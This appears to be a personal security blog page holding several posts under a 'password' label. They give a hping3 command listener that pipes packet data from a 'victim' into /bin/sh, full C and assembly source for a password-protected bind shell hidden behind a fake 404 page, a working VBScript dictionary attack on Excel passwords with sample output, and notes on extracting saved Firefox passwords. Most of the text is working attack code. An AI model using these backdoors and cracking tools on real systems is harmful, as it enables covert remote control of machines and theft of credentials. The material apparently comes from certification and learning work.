Pages

Showing posts with label password. Show all posts
Showing posts with label password. Show all posts

Friday, November 1, 2013

Create a hidden command listener by reusing an open port

Scenario:
- Box A - victim, running a network service on port 8834. We'll reuse this
- Box B - attacker host behind NAT. Will transmit commands to the listener waiting on the victim.

This is similar to a reverse shell from box A to box B, except that B will need another way to view results of the commands executed on A.

A:
$ sudo hping3 --listen SecretSignature -I vboxnet0 -p 8834 | /bin/sh

--listen - Listen mode. Waits for packets containing the signature and dump the data from signature to the end of the packet
-I - Interface to listen on
-p - listening port

This will intercept packets and dump the content after a matching signature. Commands will be passed to the shell to be executed. Another trick would be needed to view the output of the commands though.

B:
$ sudo hping3 --count 1 --data 200 --file commands.txt --sign SecretSignature 192.168.56.1 -V -p 8834

--count 1 - stop after sending 1 packet
--data 200 - set packet body size in bytes
--file - fill packet with data from file
--sign - fill first a signature in the packet
-V - verbose
-p - destination port

$ cat commands.txt
echo 123 > hacked.txt
whoami > log.txt
uname -a >> log.txt
pwd >> log.txt
ls -al >> log.txt
ifconfig -a >> log.txt

(New line at the end, to get the last command executed !)
Verify on victim's A machine that commands have been executed and results saved in the corresponding files.

Sunday, August 4, 2013

Bind TCP Shellcode - with password

 As with the bind TCP shellcode, I've first started with a small C program to do this and analysed the system calls. The following program listens for incoming connections, prints a prompt message, reads some input and spawns a new shell if the input is equal to the password:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>

/* receiving password buffer size */
#define     BUFSIZE      10

/* Listening port */
#define     PORT         8585

/* Password prompt */
char prompt[] =  \
    "<html>\n"
    "<body>\n"
    " <h1>Error 404 - Try elsewhere</h1>\n"
    "\n" 
    "</body>\n"
    "</html>\n";

char password[] = "s3cr37";

int main() {
    int listenfd = 0, connfd = 0;    
    int ret = 0;
    char buffer[BUFSIZE];

    struct sockaddr_in serv_addr;

    // Create an un-named socket. returns socket descriptor
    listenfd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);

    bind(listenfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr));

    // Listen on the created socket for maximum 1 client connection
    listen(listenfd, 1);

    // Sleep waiting for client requests
    connfd = accept(listenfd, (struct sockaddr*) NULL, NULL);
    printf("Created accept socket: %d\n", connfd);

    // Send fake prompt and wait for the password
    ret = send(connfd, prompt, strlen(prompt), 0); 
    if (-1 == ret) {
        printf("Send failed: %s\n", strerror(errno));
        return 1;
    }

    // Read password
    ret = recv(connfd, buffer, BUFSIZE, 0);
    if (-1 == ret) {
        printf("Recv failed: %s\n", strerror(errno));
        return 1;
    } else {
        printf("Received: %s", buffer);
    }

    // Compare
    if (!strncmp(buffer, password, strlen(password))){
        printf("Correct password. Opening shell...\n");    
    } else {
        close(listenfd);
        close(connfd);
        return 1;
    }

    // Duplicate stdin, stdout, stderr
    ret = dup2(connfd, 0);
    if (-1 == ret) {
        printf("STDIN duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 1);
    if (-1 == ret) {
        printf("STDOUT duplication failed: %s\n", strerror(errno));
        return 1;
    }

    ret = dup2(connfd, 2);
    if (-1 == ret) {
        printf("STDERR duplication failed: %s\n", strerror(errno));
        return 1;
    }

    // Replace process image
    char *args[2];
    args[0] = "/bin/sh";
    args[1] = NULL;      // Needs to ne a NULL terminated list of args

    ret = execve(args[0], args, NULL);
    if (-1 == ret) {
        printf("Execve failed: %s\n", strerror(errno));
        return 1;
    }

    return 0;
}
If we supply the correct password we get the shell:
$ gcc -Wall shell_bind_tcp.c -o shell_bind_tcp
$ ./shell_bind_tcp_passw  &
[1] 4528
Created accept socket: 5
Received: s3cr37
ลน� Correct password. Opening shell...
$ nc -nvv 192.168.56.1 8585
(UNKNOWN) [192.168.56.1] 8585 (?) open


Error 404 - Try elsewhere

s3cr37 whoami liv

The next step is to reproduce these system calls in assembly and get the shellcode. This is easy to do, if we start from the previous TCP bind shellcode and add a recv call and compare input:
global _start   

section .text
_start:

    ; Linux Syscall Reference
    ; http://syscalls.kernelgrok.com/


    ; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = listenfd
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    push ecx        ; NULL terminate args list
    mov cl, 6       ; IPPROTO_TCP (6)
    push ecx
    xor ecx, ecx
    mov cl, 1       ; SOCK_STREAM (1) - in socket.h
    push ecx
    xor ecx, ecx
    mov cl, 2       ; PF_INET (2) - IP PROTO FAMILY
    push ecx
    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 1       ; socketcall type of call: SYS_SOCKET (1) 
    push 102
    pop eax         ; socketcall syscall
    int 0x80
    mov edx, eax    ; listenfd is returned in eax. Save into edx    

    ; 2. bind(listenfd, {sa_family=AF_INET, sin_port=htons(4444), \
    ;       sin_addr=inet_addr("0.0.0.0")}, 16)
    ;struct sockaddr_in {
    ;    short            sin_family;   // e.g. AF_INET, AF_INET6
    ;    unsigned short   sin_port;     // e.g. htons(3490)
    ;    struct in_addr   sin_addr;     // see struct in_addr, below
    ;    char             sin_zero[8];  // zero this if you want to
    ;};
    ;struct in_addr {
    ;    unsigned long s_addr;          // load with inet_pton()
    ;};
    xor ecx, ecx    ; Construct sockaddr structure on the stack
    push ecx        ; inet_addr - 0.0.0.0 - INADDR_ANY
    push word 0x8921; 16 bits - port number (8585 decimal)
    push word 2     ; family - AF_INET (2)
    mov ecx, esp    ; pointer to args

    push byte 0x10  ; Address length - 16 bytes
    push ecx        ; Pointer to sockaddr_in structure
    push edx        ; listenfd from socket call

    mov ecx, esp    ; socketcall arguments
    xor ebx, ebx
    mov bl, 2       ; socketcall type of call: SYS_BIND (2)
    xor eax, eax
    mov al, 102     ; socketcall syscall
    int 0x80

    ; 3. listen(listenfd, 1)
    push 1          ; max connections
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 4
    pop ebx         ; SYS_LISTEN (4)
    push 102
    pop eax         ; socketcall syscall
    int 0x80
 
    ; 4. accept(listenfd, 0, NULL) = connfd
    xor ecx, ecx
    push ecx        ; NULL
    push ecx        ; 0
    push edx        ; listenfd
    mov ecx, esp    ; pointer to socketcall arguments
    push 5
    pop ebx         ; SYS_ACCEPT = 5
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax
    mov edx, eax    ; save new connection descriptor

    ; 5. recv(connfd, buffer, BUFSIZE, 0)
    ; recv(int sockfd, void *buf, size_t len, int flags);
    xor ecx, ecx    
    push   ecx      ; flags (0)
    push   0xa      ; buffer size
    lea    ecx, [esp + 8]
    push   ecx      ; addres of buffer
    mov edi, ecx    ; save address of buffer for further comparison
    push   edx      ; sockfd
    mov    ecx, esp ; ECX - params of socket call    
    push 10
    pop ebx         ; EBX - type of socketcall - SYS_RECV (10)
    push 102
    pop eax         ; socketcall syscall
    int 0x80        ; connfd will be in eax


    ; 6. compare password
 mov ecx, 6      ; passwd len
    ; pass: s3cr37 - 73 33 63 72 33 37 
    push 0xAAAA3733
    push 0x72633373
 mov esi, esp
    ; address of buffer is already saved in edi
 repe cmpsb
 jz correct_pass
    
    ; exit()
    xor eax, eax
 mov al, 1
 xor ebx, ebx
    mov bl, 7
 int 0x80

correct_pass:
    ; 7. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
    push 2
    pop ecx         ; ecx - newfd
    mov ebx, edx    ; edx - connfd, ebx - oldfd
    dup_loop:
    mov al, 63      ; dup2 syscall
    int 0x80
    dec ecx
    jns dup_loop    ; exit when signed (-1)
      
    ; 8. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
 ; PUSH the first null dword 
 xor eax, eax
 push eax

    ; PUSH //bin/sh (8 bytes) 
 push 0x68732f2f ; 'hs//'
 push 0x6e69622f ; 'nib/
 mov ebx, esp    ; EBX - 1st param - NULL terminated filename

 push eax        ; EDX - 3rd param - NULL terminated list of env variables
 mov edx, esp    ; NULL terminator must be set before setting the 2nd param!

 push ebx        ; ECX - 2nd param - array of argument strings
 mov ecx, esp

 mov al, 11      ; execve syscall
 int 0x80



The complete source files, wrapper script and test shellcode can be found in  a git repository at:
SLAE


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
Student ID: SLAE- 449
    

Saturday, March 2, 2013

Dictionary attack on Excel passwords

When thinking about the security of encrypted Excel documents, I found a great article analyzing security of encryption algorithms for Excel spreadsheets [1]. The bottom line is that:
  • Encryption in Excel 2007 IS secure only for ".docx". For ".doc" it's NOT secure with default settings
  • Encryption in Excel 2002 and 2003 IS secure, but NOT when used with default settings!
  • Encryption in Excel 95, 97 and 2000 is NOT secure at all.
Instructions on how to make sure you're using the most secure algorithms and how to change the default settings in the referenced link.

How to set/change password to open and password to modify
Changing/removing the password to open a file is pretty straight-forward in Excel 2007-2010: from the File menu, chose Info, then Encrypt with password. 
Changing the password to modify I found is not so straight-forward. To set/remove a "read-only" password, from the Save or Save As dialog boxes, select General Options from the Tools drop-down menu to open the General Options dialog box. There, in the Password to modify box, you can enter the new password or blank to remove the current one. 

Dictionary attack
If the password is a dictionary word, then it's pretty easy to find it. I've made a small vbs script to attack these 2 passwords (password to open and password to modify)  using words from a dictionary file. This could also be extended to something like the rules in jtr to intelligently guess/brute-force more passwords, based on tendencies (e.g. KoreLogic John rules [3]).
It's just a proof of concept, and it's very slow, it could be extended to use more threads or optimized.
' *****************************************************************
' Dictionary attack on Excel passwords
'
' Uses Workbooks.open method and a password dictionary to test:
' 1) password to open 
' 2) password for write access, using open password
'
' Usage: "CScript excel-pw-attack.vbs  "
'
' Full Description:
' http://insecure.tk/......
' *****************************************************************
Option Explicit
On Error Resume Next

Dim objExcel
Set objExcel = WScript.CreateObject("Excel.Application")
objExcel.visible=False

Dim args
if WScript.Arguments.Count < 2 or WScript.Arguments.Count > 3 then
   WScript.Echo "Usage: "
   WScript.Echo "Search password for open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "  "
   WScript.Echo "Search password for modify, using password to open: "
   WScript.Echo "   CScript " & WScript.ScriptName & "   "
   WScript.Quit 1
end if

' Excel file should be in the script's directory
Dim xlsFile, currentPath
currentPath = replace(WScript.ScriptFullName, WScript.ScriptName, "")
xlsFile = currentPath & WScript.Arguments(0)
WScript.Echo "Brute-forcing excel file: " & xlsFile
WScript.Echo "Using dictionary file: " & WScript.Arguments(1)
if WScript.Arguments.Count = 3 then
 WScript.Echo "Using open password " & WScript.Arguments(2) & " to get the write password"
end if

' Read the passwords from the dictionary file
Dim objFSO
Set objFSO = CreateObject("Scripting.FileSystemObject")

Dim objFile
Const ForReading = 1
Set objFile = objFSO.OpenTextFile(currentPath & WScript.Arguments(1), ForReading)

Dim currLine, bFound
bFound = False
While Not bFound And Not objFile.AtEndOfStream
 currLine = objFile.ReadLine
 WScript.Echo "[*] Testing solution " & currLine
 if WScript.Arguments.Count = 3 then
  objExcel.Workbooks.Open xlsFile, , , , WScript.Arguments(2), currLine
 else
  ' Try to open it in read-only mode
  objExcel.Workbooks.Open xlsFile, ,True , , currLine
 end if
 if Err.Number >  0 then
  'WScript.Echo Err.Description & Err.Number
  Err.Clear
 else
  bFound = True
  if WScript.Arguments.Count = 3 then
   WScript.Echo "[+] Found password for modifying: " & currLine
  else
   WScript.Echo "[+] Found password for opening: " & currLine
  end if
 end If
Wend

if not bFound then
 if WScript.Arguments.Count = 3 then
  WScript.Echo "[-] Not found password for modifying."
 else
  WScript.Echo "[-] Not found password for opening."
 end if
end if


objExcel.Workbooks.Close
objFile.close
An example of how to use it on a test document with these 2 passwords set:
1. Find password to open:
>cscript excel-pw-attack.vbs test.xls words_en.txt
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
[+] Found password for opening: rock
2. Find password to modify:
>cscript excel-pw-attack.vbs test.xls words_en.txt rock
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

Brute-forcing excel file: C:\...\test.xls
Using dictionary file: words_en.txt
Using open password rock to get the write password
[+] Found password for modifying: paper


Tuesday, May 1, 2012

Firefox passwords

Extracting Firefox passwords

     Firefox stores passwords using functions from their NSS library (Network Security Services). The easiest way to recover passwords saved by FF, without understanding the internals of NSS, is to analyze the code that encrypts the data (security\nss\lib, security\manage\ssl from Firefox source) and use similar functions exported by NSS library (nss3.dll.) for decryption. Encrypted passwords are encoded in Base64, and then stored in a SQLite database, in the Firefox folder under the user profile directory. The decryption key is encrypted (using user master password) and stored together with a salt in key3.db file. 
     An NSS password decryptor is also implemented in the ‘importer’ module from the Chrome browser source tree. 

     Here it's the source code that uses Firefox libraries to extract passwords (unprotected by a master key or with master key specified).  It works the same way as PasswordFox and can be modified/extended the same way.
     Unlike Chrome Passwords or IE,  Firefox passwords are not related to the logged on user, can be dumped offline if unprotected,  and key3.db keys can be brute forced in case a master password is used.

Protecting

     Some tips for using master password include:
  • Enable master password
  • Chose a good strong master password and you'l be fine until 2020 (3DES in CBC mode)
  • Avoid sniffers by using a password management software that supports this (Latest version of KeePass has very important security features that, if used correctly, can secure the passwords and even make key-logging useless (erase clipboard, block clipboard monitors, auto-type, auto-type obfuscations)